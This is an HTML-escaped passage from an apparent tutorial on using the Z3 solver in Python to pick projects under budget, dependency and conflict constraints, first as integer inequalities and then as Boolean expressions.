&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The following is a 1-to-1 translation of the inequalities for the budget restrictions:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mf"&gt;1.1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;       &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;2&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;2.5&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;2.3&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;     &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;2&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mf"&gt;4.1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;   &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;4.4&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;       &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, I want to set the dependency and conflict restrictions in two different ways: using inequalities as described above and using Z3 high level abstraction to work with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Bools&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and its support for &lt;em&gt;boolean theories&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Because of this I’m going to preserve a copy of the current object &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to restore it later.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: technically &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; also change what solver can be used; a safer alternative could be use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Optimize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s deep copy. However, currently in Z3 version &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;4.8.10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; it is not supported (a bug perhaps?)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="integer-linear-programming"&gt;Integer linear programming&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IntSort&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;to_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;IntSort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# conflict rule: or P3 or P4 but not both&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;to_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;to_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# dependency rule: P3 depends on P6&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;to_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;to_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# dependency rule: P5 depends on P1 and P2&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;to_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;to_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you see, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Bools&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; cannot be added up or compared by inequality directly (how would you interpret &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;?). Instead we &lt;em&gt;cast them&lt;/em&gt; to integers.&lt;/p&gt;
&lt;p&gt;In the other inequalities we didn’t have to because things like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; already makes an integer expression; multiplying by 0 or 1 does not work however.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: currently in Z3 version &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;4.8.10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ToInt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function but it does not work with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Bools&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BoolRef&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;profit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="mi"&gt;55&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Projects:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;- &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
&lt;span class="n"&gt;Projects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now let’s see how we can rewrite the inequalities for dependency and conflict restrictions.&lt;/p&gt;
&lt;h2 id="boolean-theory"&gt;Boolean theory&lt;/h2&gt;
&lt;p&gt;First we restore the solver to the point before adding those inequalities:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we use &lt;em&gt;boolean expressions&lt;/em&gt; that may make more sense:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# conflict rule: P3 and P4 cannot happen&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# If the dependency P6 is not met, P3 must be False,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# otherwise whatever P3 is fine&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# If the dependencies P1 and P2 are not met, P5 must be False,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# otherwise whatever P5 is fine&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;profit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="mi"&gt;55&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Projects:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;- &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
&lt;span class="n"&gt;Projects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
 &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;P2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
